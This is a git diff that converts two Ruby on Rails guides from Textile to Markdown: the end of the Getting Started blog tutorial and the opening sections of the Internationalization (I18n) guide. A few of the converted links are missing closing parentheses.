+for each comment that is in the `@post.comments` collection. As the `render`
+method iterates over the `@post.comments` collection, it assigns each
comment to a local variable named the same as the partial, in this case
-+comment+ which is then available in the partial for us to show.
+`comment` which is then available in the partial for us to show.
-h4. Rendering a Partial Form
+### Rendering a Partial Form
Let us also move that new comment section out to its own partial. Again, you
-create a file +app/views/comments/_form.html.erb+ containing:
+create a file `app/views/comments/_form.html.erb` containing:
-<erb>
+```html+erb
<%= form_for([@post, @post.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br />
@@ -1574,11 +1575,11 @@ create a file +app/views/comments/_form.html.erb+ containing:
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
-Then you make the +app/views/posts/show.html.erb+ look like the following:
+Then you make the `app/views/posts/show.html.erb` look like the following:
-<erb>
+```html+erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1594,26 +1595,27 @@ Then you make the +app/views/posts/show.html.erb+ look like the following:
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
The second render just defines the partial template we want to render,
-<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that
-string and realize that you want to render the <tt>_form.html.erb</tt> file in
-the <tt>app/views/comments</tt> directory.
+`comments/form`. Rails is smart enough to spot the forward slash in that
+string and realize that you want to render the `_form.html.erb` file in
+the `app/views/comments` directory.
-The +@post+ object is available to any partials rendered in the view because we
+The `@post` object is available to any partials rendered in the view because we
defined it as an instance variable.
-h3. Deleting Comments
+Deleting Comments
+-----------------
Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a +DELETE+ action
-in the +CommentsController+.
+this, we need to implement a link of some sort in the view and a `DELETE` action
+in the `CommentsController`.
So first, let's add the delete link in the
-+app/views/comments/_comment.html.erb+ partial:
+`app/views/comments/_comment.html.erb` partial:
-<erb>
+```html+erb
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
@@ -1629,14 +1631,14 @@ So first, let's add the delete link in the
:method => :delete,
:data => { :confirm => 'Are you sure?' } %>
</p>
-</erb>
+```
-Clicking this new "Destroy Comment" link will fire off a <tt>DELETE
-/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use
+Clicking this new "Destroy Comment" link will fire off a `DELETE
+/posts/:id/comments/:id` to our `CommentsController`, which can then use
this to find the comment we want to delete, so let's add a destroy action to our
controller:
-<ruby>
+```ruby
class CommentsController < ApplicationController
def create
@@ -1653,29 +1655,30 @@ class CommentsController < ApplicationController
end
end
-</ruby>
+```
-The +destroy+ action will find the post we are looking at, locate the comment
-within the <tt>@post.comments</tt> collection, and then remove it from the
+The `destroy` action will find the post we are looking at, locate the comment
+within the `@post.comments` collection, and then remove it from the
database and send us back to the show action for the post.
-h4. Deleting Associated Objects
+### Deleting Associated Objects
If you delete a post then its associated comments will also need to be deleted.
Otherwise they would simply occupy space in the database. Rails allows you to
-use the +dependent+ option of an association to achieve this. Modify the Post
-model, +app/models/post.rb+, as follows:
+use the `dependent` option of an association to achieve this. Modify the Post
+model, `app/models/post.rb`, as follows:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
validates :title, :presence => true,
:length => { :minimum => 5 }
has_many :comments, :dependent => :destroy
end
-</ruby>
+```
-h3. Security
+Security
+--------
If you were to publish your blog online, anybody would be able to add, edit and
delete posts or delete comments.
@@ -1683,61 +1686,67 @@ delete posts or delete comments.
Rails provides a very simple HTTP authentication system that will work nicely in
this situation.
-In the +PostsController+ we need to have a way to block access to the various
+In the `PostsController` we need to have a way to block access to the various
actions if the person is not authenticated, here we can use the Rails
-<tt>http_basic_authenticate_with</tt> method, allowing access to the requested
+`http_basic_authenticate_with` method, allowing access to the requested
action if that method allows it.
To use the authentication system, we specify it at the top of our
-+PostsController+, in this case, we want the user to be authenticated on every
-action, except for +index+ and +show+, so we write that:
+`PostsController`, in this case, we want the user to be authenticated on every
+action, except for `index` and `show`, so we write that:
-<ruby>
+```ruby
class PostsController < ApplicationController
http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
def index
@posts = Post.all
-# snipped for brevity
-</ruby>
+ end
+
+ # snipped for brevity
+```
We also only want to allow authenticated users to delete comments, so in the
-+CommentsController+ we write:
+`CommentsController` we write:
-<ruby>
+```ruby
class CommentsController < ApplicationController
http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
def create
@post = Post.find(params[:post_id])
-# snipped for brevity
-</ruby>
+ ...
+ end
+ # snipped for brevity
+```
Now if you try to create a new post, you will be greeted with a basic HTTP
Authentication challenge
-!images/challenge.png(Basic HTTP Authentication Challenge)!
+![Basic HTTP Authentication Challenge](images/challenge.png)
-h3. What's Next?
+What's Next?
+------------
Now that you've seen your first Rails application, you should feel free to
update it and experiment on your own. But you don't have to do everything
without help. As you need assistance getting up and running with Rails, feel
free to consult these support resources:
-* The "Ruby on Rails guides":index.html
-* The "Ruby on Rails Tutorial":http://railstutorial.org/book
-* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
-* The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net
+* The [Ruby on Rails guides](index.html)
+* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
+* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
+* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
Rails also comes with built-in help that you can generate using the rake command-line utility:
-* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +doc/guides+ folder of your application. Open +doc/guides/index.html+ in your web browser to explore the Guides.
-* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +doc/api+ folder of your application. Open +doc/api/index.html+ in your web browser to explore the API documentation.
+* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
+* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.
-h3. Configuration Gotchas
+Configuration Gotchas
+---------------------
The easiest way to work with Rails is to store all external data as UTF-8. If
you don't, Ruby libraries and Rails will often be able to convert your native
@@ -1753,6 +1762,7 @@ not stored as UTF-8, it can occasionally result in these kinds of issues that
cannot be automatically detected by Rails and corrected.
Two very common sources of data that are not UTF-8:
+
* Your text editor: Most text editors (such as Textmate), default to saving files as
UTF-8. If your text editor does not, this can result in special characters that you
enter in your templates (such as é) to appear as a diamond with a question mark inside
diff --git a/guides/source/i18n.textile b/guides/source/i18n.md
index 67863e590c..f3360156cc 100644
--- a/guides/source/i18n.textile
+++ b/guides/source/i18n.md
@@ -1,8 +1,9 @@
-h2. Rails Internationalization (I18n) API
+Rails Internationalization (I18n) API
+=====================================
-The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.
-The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1]
So, in the process of _internationalizing_ your Rails application you have to:
@@ -18,20 +19,21 @@ In the process of _localizing_ your application you'll probably want to do the f
This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
-endprologue.
+--------------------------------------------------------------------------------
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
-h3. How I18n in Ruby on Rails Works
+How I18n in Ruby on Rails Works
+-------------------------------
Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
* providing support for English and similar languages out of the box
* making it easy to customize and extend everything for other languages
-As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
+As part of this solution, **every static string in the Rails framework** -- e.g. Active Record validation messages, time and date formats -- **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
-h4. The Overall Architecture of the Library
+### The Overall Architecture of the Library
Thus, the Ruby I18n gem is split into two parts:
@@ -40,78 +42,79 @@ Thus, the Ruby I18n gem is split into two parts:
As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
-NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below.
-h4. The Public I18n API
+### The Public I18n API
The most important methods of the I18n API are:
-<ruby>
+```ruby
translate # Lookup text translations
localize # Localize Date and Time objects to local formats
-</ruby>
+```
These have the aliases #t and #l so you can use them like this:
-<ruby>
+```ruby
I18n.t 'store.title'
I18n.l Time.now
-</ruby>
+```
There are also attribute readers and writers for the following attributes:
-<ruby>
+```ruby
load_path # Announce your custom translation files
locale # Get and set the current locale
default_locale # Get and set the default locale
exception_handler # Use a different exception_handler
backend # Use a different backend
-</ruby>
+```
So, let's internationalize a simple Rails application from the ground up in the next chapters!
-h3. Setup the Rails Application for Internationalization
+Setup the Rails Application for Internationalization
+----------------------------------------------------
There are just a few simple steps to get up and running with I18n support for your application.
-h4. Configure the I18n Module
+### Configure the I18n Module
Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
-Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
+Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically.
-The default +en.yml+ locale in this directory contains a sample pair of translation strings:
+The default `en.yml` locale in this directory contains a sample pair of translation strings:
-<ruby>
+```ruby
en:
hello: "Hello world"
-</ruby>
+```
-This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
-The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
+The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize2](ht)
-The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-The default +application.rb+ files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
-<ruby>
+```ruby
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
-</ruby>
+```
-h4. Optional: Custom I18n Configuration Setup
+### Optional: Custom I18n Configuration Setup
-For the sake of completeness, let's mention that if you do not want to use the +application.rb+ file for some reason, you can always wire up things manually, too.
+For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too.
To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
-<ruby>
+```ruby
# in config/initializers/locale.rb
# tell the I18n library where to find your translations
@@ -119,42 +122,42 @@ I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
# set default locale to something other than :en
I18n.default_locale = :pt
-</ruby>
+```
-h4. Setting and Passing the Locale
+### Setting and Passing the Locale
-If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +application.rb+ or an initializer as shown above, and it will persist through the requests.
+If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.
-However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
+However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
-WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however *do not do this*. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being "<em>RESTful</em>":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. Sometimes there are exceptions to this rule and those are discussed below.
+WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
-The _setting part_ is easy. You can set the locale in a +before_filter+ in the +ApplicationController+ like this:
+The _setting part_ is easy. You can set the locale in a `before_filter` in the `ApplicationController` like this:
-<ruby>
+```ruby
before_filter :set_locale
def set_locale
I18n.locale = params[:locale] || I18n.default_locale
end
-</ruby>
+```
-This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portuguese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
+This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and reloading the page.
-Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have.
-h4. Setting the Locale from the Domain Name
+### Setting the Locale from the Domain Name
-One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
* The locale is an _obvious_ part of the URL.
* People intuitively grasp in which language the content will be displayed.
* It is very trivial to implement in Rails.
* Search engines seem to like that content in different languages lives at different, inter-linked domains.
-You can implement it like this in your +ApplicationController+:
+You can implement it like this in your `ApplicationController`:
-<ruby>
+```ruby
before_filter :set_locale
def set_locale
@@ -171,11 +174,11 @@ def extract_locale_from_tld
parsed_locale = request.host.split('.').last
I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
end
-</ruby>
+```
We can also set the locale from the _subdomain_ in a very similar way:
-<ruby>
+```ruby
# Get locale code from request subdomain (like http://it.application.local:3000)
# You have to put something like:
# 127.0.0.1 gr.application.local
@@ -184,89 +187,89 @@ def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
end
-</ruby>
+```
If your application includes a locale switching menu, you would then have something like this in it:
-<ruby>
+```ruby
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
-</ruby>
+```
-assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
+assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.
This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
-h4. Setting the Locale from the URL Params
+### Setting the Locale from the URL Params
-The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_filter_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
-Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(:locale => I18n.locale))`) would be tedious and probably impossible, of course.
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
-We can include something like this in our +ApplicationController+ then:
+We can include something like this in our `ApplicationController` then:
-<ruby>
+```ruby
# app/controllers/application_controller.rb
def default_url_options(options={})
logger.debug "default_url_options is passed options: #{options.inspect}\n"
{ :locale => I18n.locale }
end
-</ruby>
+```
-Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
+Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.
You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
-You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Dutch locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+scoping+":http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html option in this way:
+You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
-<ruby>
+```ruby
# config/routes.rb
scope "/:locale" do
resources :books
end
-</ruby>
+```
-Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Dutch locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
+Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed).
If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
-<ruby>
+```ruby
# config/routes.rb
scope "(:locale)", :locale => /en|nl/ do
resources :books
end
-</ruby>
+```
-With this approach you will not get a +Routing Error+ when accessing your resources such as +http://localhost:3001/books+ without a locale. This is useful for when you want to use the default locale when one is not specified.
+With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
-Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +root :to => "books#index"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root :to => "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
You would probably need to map URLs like these:
-<ruby>
+```ruby
# config/routes.rb
match '/:locale' => 'dashboard#index'
-</ruby>
+```
-Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +root :to+ declaration.)
+Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
-NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master.
+NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
-h4. Setting the Locale from the Client Supplied Information
+### Setting the Locale from the Client Supplied Information
In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
-h5. Using +Accept-Language+
+#### Using `Accept-Language`
-One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
+One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_).
-A trivial implementation of using an +Accept-Language+ header would be:
+A trivial implementation of using an `Accept-Language` header would be:
-<ruby>
+```ruby
def set_locale
logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
I18n.locale = extract_locale_from_accept_language_header
@@ -276,19 +279,20 @@ private
def extract_locale_from_accept_language_header
request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end
-</ruby>
+```
-Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
-h5. Using GeoIP (or Similar) Database
+#### Using GeoIP (or Similar) Database
-Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
-h5. User Profile
+#### User Profile
You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
-h3. Internationalizing your Application
+Internationalizing your Application
+-----------------------------------
OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
@@ -296,52 +300,58 @@ Let's _internationalize_ our application, i.e. abstract every locale-specific pa
You most probably have something like this in one of your applications:
-<ruby>
+```ruby
# config/routes.rb
Yourapp::Application.routes.draw do
root :to => "home#index"
end
+```
+```ruby
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = "Hello Flash"
end
end
+```
+```html+erb
# app/views/home/index.html.erb
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>
-</ruby>
+```
-!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
+![rails i18n demo untranslated](images/i18n/demo_untranslated.png)
-h4. Adding Translations
+### Adding Translations
-Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
+Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation:
-<ruby>
+```ruby
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = t(:hello_flash)
end
end
+```
+```html+erb
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>
-</ruby>
+```
-When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
+When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.
-!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
+![rails i18n demo translation missing](images/i18n/demo_translation_missing.png)
-NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
+NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-<ruby>
+```ruby
# config/locales/en.yml
en:
hello_world: Hello world!
@@ -351,77 +361,79 @@ en:
pirate:
hello_world: Ahoy World
hello_flash: Ahoy Flash
-</ruby>
+```
There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
-!images/i18n/demo_translated_en.png(rails i18n demo translated to English)!
+![rails i18n demo translated to English](images/i18n/demo_translated_en.png)
-And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
+And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get:
-!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
+![rails i18n demo translated to pirate](images/i18n/demo_translated_pirate.png)
NOTE: You need to restart the server when you add new locale files.
